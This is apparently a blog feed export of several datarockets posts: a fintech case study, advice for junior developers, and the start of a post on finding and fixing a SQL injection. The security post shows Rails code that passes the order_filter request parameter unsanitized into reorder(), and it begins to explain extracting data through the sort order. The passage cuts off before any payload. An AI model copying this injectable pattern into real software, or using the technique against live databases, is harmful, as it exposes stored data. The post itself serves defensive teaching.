&lt;li&gt;&lt;a href="https://asana.com/resources/story-points"&gt;What are story points? Six easy steps to estimate work in Agile&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.avion.io/blog/story-points-fibonacci/#the-fibonacci-sequence"&gt;Fibonacci for User Stories - How &amp;amp; Why to Use Relative Story Points&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>management</category>
      <category>productivity</category>
      <category>agile</category>
      <category>estimation</category>
    </item>
    <item>
      <title>Handled 300k users for a $30 million deal in 48 Hours and other contributions - Fintech Case Study</title>
      <dc:creator>Yuliya Haranok</dc:creator>
      <pubDate>Mon, 11 Dec 2023 09:18:19 +0000</pubDate>
      <link>https://forem.com/datarockets/handled-300k-users-for-a-30-million-deal-in-48-hours-and-other-contributions-fintech-case-study-494d</link>
      <guid>https://forem.com/datarockets/handled-300k-users-for-a-30-million-deal-in-48-hours-and-other-contributions-fintech-case-study-494d</guid>
      <description>&lt;p&gt;This article is a collaborative look back at the key contributions we’ve delivered to our clients’ &lt;a href="https://datarockets.com/case-studies/legal-fintech-software/" rel="noopener noreferrer"&gt;Legal Fintech project&lt;/a&gt; over the past three years&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dealmaker.tech/" rel="noopener noreferrer"&gt;DealMaker&lt;/a&gt; has been on an aggressive growth trajectory.&lt;/p&gt;

&lt;p&gt;Recently ranked as one of the &lt;a href="https://www.theglobeandmail.com/business/rob-magazine/top-growing-companies/article-canadas-top-growing-companies-2023/" rel="noopener noreferrer"&gt;fastest-growing companies in Canada&lt;/a&gt; by three-year revenue growth, DealMaker is disrupting the way capital is raised, making the once complex activity of selling shares as easy as selling shoes. They’re a cloud-based platform built to help Founders digitall raise capital and turn their customers into shareholders. In just the first three years, they’ve powered over 400 companies with their digital capital raises, from seed to IPO, already surpassing over $1 billion in capital raised.&lt;/p&gt;

&lt;p&gt;Back in 2020, the CTO of DealMaker reached out to datarockets to assist their team in developing their Ruby on Rails application. The datarockets team would help own, lead and tackle the following challenges:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Resolving slow pages loading + significantly improve app performance.&lt;/li&gt;
&lt;li&gt;Setting up development practices and code quality standards fit for a fast-growing startup environment.&lt;/li&gt;
&lt;li&gt;Developing new integrations + implementing a host of new features.&lt;/li&gt;
&lt;li&gt;Tackling technical debt, making infrastructure changes &amp;amp; necessary upgrades.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;One of the fun and unique challenges to this project was the nature of the industry itself, which included a diverse range of entities such as investors, brokers, brokerages/brokerage syndicates, enterprises/companies (issuers), shareholders, lawyers, co-signers, various document types, etc. Navigating this, our team was challenged with delivering large pieces of new functionality, and in tandem, help monitor and manage their drastic product growth.&lt;/p&gt;

&lt;p&gt;One of the capital-raising transactions that we witnessed, saw over $30 million raised in under 48 hours – demonstrating the type of landmark transactions that DealMaker helps facilitate. That was a fun one as our developers got to monitor in real time and help ensure seamless experiences given abnormally high load activity.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fz40twknlp432lujtbzdr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fz40twknlp432lujtbzdr.png" alt="laptop screen" width="800" height="678"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;Approach &amp;amp; Highlights&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;DealMaker has an in-house development team, which is split into pods – smaller sub-divisions that work on the specific area of the application. Developers from datarockets would assist with various pods, affecting different parts of the application. To keep communication tight, the teams used Slack and Google Meet to interact and Jira as a Product Management tool.&lt;/p&gt;

&lt;p&gt;Datarockets improved the performance of the app and completed various infrastructure changes. We helped migrate the frontend from jQuery to Svelte. Brought some better design decisions and restructured long-loading pages into a more efficient layout.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;Red October deal: The Race to onboard a high-profile client&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;In 2021, Dealmaker secured a large-scale client who would be joining the platform within 2-3 months time (October). Given the October deadline and the fact that this news was shrouded in high confidentiality, this project was given the codename “Red October”.&lt;/p&gt;

&lt;p&gt;It was estimated that this client, and their capital raise, would draw in ~300,000 investors. We knew that given the current form of the application, it simply wouldn’t be able to handle such an influx. Strategy never moves in a linear path, and so with this new objective, datarockets shifted our focus to support the Dealmaker team in ensuring that they’d be well-prepared for this deal:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;developed new functionality &amp;amp; teamed up on critical optimizations needed to scale the platform&lt;/li&gt;
&lt;li&gt;closely identified, analyzed and improved areas that were slow and inefficient &lt;/li&gt;
&lt;li&gt;created scripts for load testing, which would emulate the activity of thousands of users, and resolve performance bottlenecks identified in that process&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;“Red October” is an example of the scaling challenges always accompanying rapid growth. During this period, our teams carried out tight-knit collaboration and kept the performance &amp;amp; output high. &lt;/p&gt;

&lt;p&gt;The capital raise was another landmark transaction and as expected (after a lot of hard work) the platform handled the high-loads elegantly, ultimately helping make this the sixth historic offering in the organization’s history. You can read more about it &lt;a href="https://www.dealmaker.tech/content/dealmakers-technology-powers-over-1-billion-in-online-capital-raises" rel="noopener noreferrer"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiyvc8hg6jpenb446a359.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiyvc8hg6jpenb446a359.png" alt="DealMaker investor flow embedded to the business website" width="800" height="540"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Delivered DealMaker API and embeddable flow&lt;/strong&gt;&lt;br&gt;
Our team helped DealMaker to implement functionality that allows their clients (deals and enterprises) to integrate with them: Dealmaker API and the embeddable flow. &lt;/p&gt;

&lt;p&gt;This flow allows Dealmaker to embed their investor flow directly onto the client’s (issuer’s) site in an iframe, helping increase trust and creating ease in accepting investors right on the business’ website. &lt;/p&gt;

&lt;p&gt;The API itself is much more flexible. It maintains public documentation powered by ReDoc, and has the functionality to subscribe for webhooks. Our dev team used Ruby Grape, OAuth2, and DoorKeeper for Dealmaker’s API. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F49ztq1ic916nuefbtw9n.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F49ztq1ic916nuefbtw9n.png" alt="Project updates from Slack" width="800" height="520"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Since DealMaker is a capital-raising platform, our team had to work on integrations with various payment services. These included integrations with services such as WorldPay, Aeropay, FundAmerica, and Stripe. Currently, most payments go through Stripe, including ACH and ACSS payments with microdeposits, card, and mobile wallet payment methods, which allows investors to pay in seconds using Google Pay and Apple Pay.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe4z63fjyh56p8nucfqkm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe4z63fjyh56p8nucfqkm.png" alt="Clutch review" width="800" height="238"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;Introducing Efficiency and Safety of Payments through VCR tests&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;As stated earlier, the Payments part of the app included a lot of integrations. These integrations are usually either SDKs (Stripe) or simple APIs (Aeropay). One problem encountered was that these SDKs and APIs were constantly being updated, which led to breaking changes from time to time. Payments and money transfers are the most important parts of a Fintech application, therefore, it was important that we automate the testing of payment integrations.&lt;/p&gt;

&lt;p&gt;Regular unit tests just aren’t as helpful in these situations. E2E (End-to-End) tests written by the QA team could help catch something just before a release, but identifying a problem at this stage of the game would be too late. DealMaker had suggested using &lt;a href="https://github.com/vcr/vcr" rel="noopener noreferrer"&gt;VCR tests&lt;/a&gt;. The essence of VCR is that it allows tests to make real requests using the SDK or API and record real responses. We did the SPIKE and POС, and after discussions, it was decided that we would integrate it. &lt;/p&gt;

&lt;p&gt;It didn’t take long to see the benefits. At that time, we had a 5-point ticket to update Stripe to the latest version and check everything manually. Normally, a task like that could take up to a week or longer, but after we integrated VCR and wrote VCR tests for all flows, the Stripe version was updated in half a day (!), and all the tests were checked by the CI. In other words, what was once a 5-point task could now be completed in a half-day task. &lt;/p&gt;

&lt;p&gt;Efficiency gains like this are important as they compound over time, creating the space for companies to supercharge into rapid growth.&lt;/p&gt;

&lt;p&gt;Now we’re able to update all third-party SDKs and APIs with every new version because their functionality testing is automated. It took some time to set everything up and update existing tests, but now it is as simple to write a VCR as to write a regular test, and the benefits of VCR tests are significantly greater.&lt;/p&gt;

&lt;h2&gt;
  
  
  Delivered numerous fixes and new features
&lt;/h2&gt;

&lt;p&gt;Throughout our time, we helped the DealMaker’s team deliver loads of new functionality. An example of such features include:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;White-labeling&lt;/strong&gt;&lt;br&gt;
White-labeling allows clients to represent their own brands on DealMaker. Deal pages are served under a specified subdomain, brand colors, logos etc are put into various aspects of their deals, on emails, and specific pages.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Self-onboarding&lt;/strong&gt;&lt;br&gt;
Self-onboarding automated the process of deal generation, making managers’ lives easier. We implemented this completely new feature to experiment with one type of user and collect feedback, it was positive and the self-onboarding was applied to the rest of the clients.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Refunds&lt;/strong&gt;&lt;br&gt;
Refunds have proven to be highly beneficial as they have significantly expedited the time of processing a single refund from approximately 5 minutes to a mere couple of seconds. This improvement has greatly alleviated the workload for DealMaker managers, who often needed to process hundreds of refunds manually.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Investor and issuer insights dashboard&lt;/strong&gt;&lt;br&gt;
The feature provides investors and issuers with their funds’ data in accessible graphs. Quick calculations of graphs and numbers are achieved with Snowflake Data Warehouse and ELT integration.&lt;/p&gt;

&lt;p&gt;Our longstanding collaboration with DealMaker has been carried out with well-established processes, which allowed both sides to work conveniently in a consistent rhythm. Throughout this time, we have been receiving positive feedback from DealMaker highlighting our high technical level.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frnyx843am78ukdp1fr7h.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frnyx843am78ukdp1fr7h.png" alt="Sharing feedback from a client" width="800" height="411"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Results
&lt;/h2&gt;

&lt;p&gt;Datarockets had the pleasure of partnering with DealMaker for over 3 years. At different stages of cooperation, the datarockets’ dev team consisted of three to five Ruby on Rails developers of different seniority levels.&lt;/p&gt;

&lt;p&gt;Our team played a significant role in optimizing the application, improving the infrastructure, integrating new payment methods, and participated in designing and implementing new functionality such as white-labeling, self-onboarding, refunds, investor/issuer insights, etc. Our team had a hand in bringing VCR tests to the project and building DealMaker API.&lt;/p&gt;

&lt;p&gt;Along with this, datarockets helped improve development processes, added tests and linter coverage, and shared our expertise with new developers through code review and pair-programming practices. &lt;/p&gt;

&lt;p&gt;Datarockets helped the client keep technical standards high during the intensive team growth, and we’re proud to have helped play a part in the journey of DealMaker as they continue to experience success, recently ranked as &lt;a href="https://www.dealmaker.tech/content/dealmaker-announced-as-the-3rd-fastest-growing-company-in-canada" rel="noopener noreferrer"&gt;the 3rd fastest-growing company in Canada&lt;/a&gt;. &lt;/p&gt;

&lt;p&gt;One of the most detailed reviews about our work on DealMaker can be found on &lt;a href="https://clutch.co/profile/datarockets#review-2221017" rel="noopener noreferrer"&gt;Clutch&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqa5r3igy6sfm98kokjt4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqa5r3igy6sfm98kokjt4.png" alt="Clutch review" width="800" height="468"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>programming</category>
      <category>startup</category>
      <category>ruby</category>
    </item>
    <item>
      <title>Feedback and Tips for Junior developers</title>
      <dc:creator>Yuliya Haranok</dc:creator>
      <pubDate>Thu, 08 Jul 2021 16:02:23 +0000</pubDate>
      <link>https://forem.com/datarockets/feedback-and-tips-for-junior-developers-1hog</link>
      <guid>https://forem.com/datarockets/feedback-and-tips-for-junior-developers-1hog</guid>
      <description>&lt;p&gt;Quality feedback is an essential part of professional growth and we love sharing it not only within our team but also with candidates who get interviewed. In this article, we collected some &lt;a href="https://datarockets.com/blog/code/tips-junior-developers/" rel="noopener noreferrer"&gt;tips from the real feedback&lt;/a&gt; given by our CTO Dima and Lead developer Andrew to junior developers. But we also believe that these thoughts can be a good checklist for more experienced developers.&lt;/p&gt;

&lt;h1&gt;
  
  
  Learn the tools – git, command line, docker, and interpret errors correctly
&lt;/h1&gt;

&lt;p&gt;Before asking for help, you should read the error messages carefully and understand them. However, there’s nothing bad about accepting the fact that you don’t understand something. &lt;/p&gt;

&lt;p&gt;If you don’t understand the error message, you can tell honestly about this. It is a bad habit to send a screenshot with the text “I have an error here.” Instead, you can send an error message and write: “I’m rebasing and have resolved the conflicts but the git says that something needs to be committed while there’s nothing to commit. It says that I can skip the commit, but I don’t understand what it means to skip the commit.”&lt;/p&gt;

&lt;p&gt;As the very first step, we advise you to study git so deeply that you understand every word in every command you write. We suggest you read the &lt;a href="https://git-scm.com/book/en/v2" rel="noopener noreferrer"&gt;ProGit book&lt;/a&gt; or watch our CTO's &lt;a href="https://www.youtube.com/watch?v=Se-4Mf2m5uE" rel="noopener noreferrer"&gt;talk about git&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;It will be very helpful to learn the command line and CLI tools. What happens when you write a command in Linux terminal? How does Linux know what binary file to execute? How is it different if you run the same command on Windows? You can watch a video about shell on datarockets YouTube.&lt;/p&gt;

&lt;h1&gt;
  
  
  Ask for help properly and describe the problem in words
&lt;/h1&gt;

&lt;p&gt;Junior developers often share many lines of code to chat or, much worse, a screenshot, with the comment “it doesn’t work, can we have a call”. However, they don’t say what exactly isn’t working. In such situations, it is impossible to help without a call and a pair debugging session. &lt;/p&gt;

&lt;p&gt;Instead of asking for a call, it would be much more useful if you describe the problem in words, without pictures or screenshots. A good example, “after line 7 I was expecting to see , but  occurred instead”, from the guide &lt;a href="http://catb.org/~esr/faqs/smart-questions.html" rel="noopener noreferrer"&gt;“How to ask questions the smart way”&lt;/a&gt;. &lt;/p&gt;

&lt;p&gt;When you describe the problem in words, sometimes it happens that a good assumption about the problem’s cause pops up in your head and you may realize how to fix the problem yourself.&lt;/p&gt;

&lt;h1&gt;
  
  
  Learn how to deal with errors and problems
&lt;/h1&gt;

&lt;p&gt;If you don’t understand how something works, read the error message, see exactly where it occurred, try to isolate it so you know exactly which piece of code is causing the error. Make a guess as to why the error might have occurred and try to fix it. &lt;/p&gt;

&lt;p&gt;Your first inclination could be to fix the error as quickly as possible in any way you can, without getting to the root of the problem. Even though it might work sometimes it’s hard to learn from this experience and we may leave some hidden bugs unfixed.&lt;/p&gt;

&lt;p&gt;Ideally, for every single word in the code you write, you should be able to answer why you wrote it. For example, in the code below, what for the CSS class “layout” is here? Where is the code for this CSS class written?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;Layout className={`layout ${css.layout}}&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here’s a great &lt;a href="https://www.amazon.com/Debugging-Indispensable-Software-Hardware-Problems/dp/0814474578/" rel="noopener noreferrer"&gt;book about debugging&lt;/a&gt;, which we highly recommend. One of our favorite tech writers, Julia Evans might publish a zine about debugging soon: &lt;a href="https://jvns.ca/blog/2021/06/08/reasons-why-bugs-might-feel-impossible/" rel="noopener noreferrer"&gt;Reasons why bugs might feel “impossible”&lt;/a&gt;.&lt;/p&gt;

&lt;h1&gt;
  
  
  Get more practice in the review of other developers’ code
&lt;/h1&gt;

&lt;p&gt;Code review will help you to learn faster, think critically and adopt coding standards. It is a necessary element of developing your solution-design taste, it brings room for knowledge sharing as well.&lt;/p&gt;

&lt;p&gt;Read about &lt;a href="https://blog.palantir.com/code-review-best-practices-19e02780015f" rel="noopener noreferrer"&gt;Code Review Best Practices&lt;/a&gt; and start following them. The &lt;a href="https://www.amazon.com/Clean-Coder-Conduct-Professional-Programmers/dp/0137081073" rel="noopener noreferrer"&gt;Clean Coder book&lt;/a&gt; will tell you everything about writing maintainable code. The ideas from it will help you in code review as well. &lt;/p&gt;

&lt;h1&gt;
  
  
  Take more ownership of the feature delivery process
&lt;/h1&gt;

&lt;p&gt;There’s a more advanced level, but if you pump it up, it will make you a self-sufficient engineer who doesn’t need any guidance to complete features.&lt;/p&gt;

&lt;p&gt;It includes discussing a feature with a client, breaking it down into tasks, self-assigning to the tasks, suggesting what you could do instead of asking others what to do next, and delivering with final deploy – the full thing. &lt;/p&gt;

&lt;h1&gt;
  
  
  Take on tasks of higher complexity
&lt;/h1&gt;

&lt;p&gt;Improve your architectural skills by facing technical challenges of higher complexity and learn more about design patterns. There’s no growth without a challenge, so don’t be afraid to take a more complex task even if it requires some support to complete. &lt;/p&gt;

&lt;h1&gt;
  
  
  Be curious and ask questions
&lt;/h1&gt;

&lt;p&gt;One of the important skills for developers and engineers is curiosity. Curiosity drives us to learn new things and improve our skills.&lt;/p&gt;

&lt;p&gt;Be curious about colleagues’ work. Do you know how they debug programs? Do they use UI debugger or debug output? What do they look first at during the code review? What do they dislike about the language you use and why?&lt;/p&gt;

&lt;p&gt;Be curious about the tech you hear or read about. Did someone mention Kotlin Multiplatform Mobile? Try to learn how it works and what it offers. Apple released the M1 chip that you heard uses ARM architecture but you don’t know what ARM means and what other architectures exist? Ask your colleagues about this and engage them in communication. Saw that the output of git log looks different on your colleague’s computer? Ask them to share how they configured this.&lt;/p&gt;

</description>
      <category>beginners</category>
      <category>programming</category>
      <category>learning</category>
      <category>codenewbie</category>
    </item>
    <item>
      <title>Security vulnerabilities – how to find and fix them</title>
      <dc:creator>Nikita Pupko</dc:creator>
      <pubDate>Fri, 02 Jul 2021 14:17:41 +0000</pubDate>
      <link>https://forem.com/datarockets/security-vulnerabilities-how-to-find-and-fix-them-18m7</link>
      <guid>https://forem.com/datarockets/security-vulnerabilities-how-to-find-and-fix-them-18m7</guid>
      <description>&lt;p&gt;This article is about &lt;a href="https://datarockets.com/blog/code/sql-injection-security-vulnerability/"&gt;security vulnerabilities&lt;/a&gt; that can be found in many projects. Ignoring them can have terrible consequences for businesses. Hopefully, they are easy to fix. Here I described how I found a vulnerability, showed how it could be used for data extracting from the database, and fixed it with just one line of code.&lt;/p&gt;

&lt;p&gt;During one of my tasks on the project, I worked on Dashboard improvements. Dashboard – it’s just the main page for users with different types of entities (showed by cards) and filters in the sidebar (search by keyword, order, filter by type).&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--GS6ceTHh--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://datarockets.com/wp-content/uploads/2021/06/SQL-injections-post.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--GS6ceTHh--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://datarockets.com/wp-content/uploads/2021/06/SQL-injections-post.png" alt=""&gt;&lt;/a&gt; &lt;/p&gt;

&lt;p&gt;Here is the HTML code of the &lt;code&gt;Sort&lt;/code&gt; filter.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;select&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"order_filter"&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"order_filter"&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"form-control custom-select"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;option&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"last_seen desc"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Recent First&lt;span class="nt"&gt;&amp;lt;/option&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;option&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"created desc"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Date Created ⬇&lt;span class="nt"&gt;&amp;lt;/option&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;option&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"created asc"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Date Created ⬆&lt;span class="nt"&gt;&amp;lt;/option&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;option&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"title asc"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;A-Z&lt;span class="nt"&gt;&amp;lt;/option&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;option&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"title desc"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Z-A&lt;span class="nt"&gt;&amp;lt;/option&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/select&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Field name for ordering and order in one place with space between. Put your first thought that came to your mind in the comments. 😄&lt;/p&gt;

&lt;p&gt;My first thought was, “Why does &lt;code&gt;value&lt;/code&gt; look pretty similar to the SQL request part?”. I decided to take a deeper look into it and found that we definitely pass it as:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="n"&gt;scope&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;scope&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;filter_results&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ss"&gt;keyword: &lt;/span&gt;&lt;span class="vi"&gt;@keyword&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;state_filter: &lt;/span&gt;&lt;span class="vi"&gt;@state_filter&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;order_filter: &lt;/span&gt;&lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="ss"&gt;:order_filter&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;where &lt;code&gt;filter_results&lt;/code&gt; is just a concern method that calls &lt;code&gt;state_filter&lt;/code&gt; and &lt;code&gt;order_filter&lt;/code&gt; on model if it exists.&lt;/p&gt;

&lt;p&gt;So, in model we just have this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="n"&gt;scope&lt;/span&gt; &lt;span class="ss"&gt;:keyword&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;keyword&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;where&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"title like ?"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"%&lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="n"&gt;keyword&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;%"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;scope&lt;/span&gt; &lt;span class="ss"&gt;:state_filter&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;where&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="ss"&gt;state: &lt;/span&gt;&lt;span class="n"&gt;state&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;scope&lt;/span&gt; &lt;span class="ss"&gt;:order_filter&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;order_filter&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;reorder&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;order_filter&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt; &lt;span class="c1"&gt;# &amp;lt;- IMPORTANT LINE&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;ActiveRecord::QueryMethods#reorder Replaces any existing order defined on the relation with the specified order. User.order(’email DESC’).reorder(‘id ASC’) # generated SQL has ‘ORDER BY id ASC’&lt;br&gt;
Source: &lt;a href="https://apidock.com/rails/ActiveRecord/QueryMethods/reorder"&gt;https://apidock.com/rails/ActiveRecord/QueryMethods/reorder&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Hello! Let’s play with it a little. Firstly I decided to test the ability to pass different symbols into the query, and it works well.&lt;/p&gt;

&lt;p&gt;I changed one of the HTML filter options to different column names and symbols like brackets, and it works well. So, we have the hole. Let’s put our finger into it.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--AnEWk__H--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://datarockets.com/wp-content/uploads/2021/06/SQL-injections-post-2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--AnEWk__H--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://datarockets.com/wp-content/uploads/2021/06/SQL-injections-post-2.png" alt=""&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So, how could it help us get some data from the table? We can do some condition and get the result which can be reflected in the order of the cards on the dashboard:&lt;/p&gt;

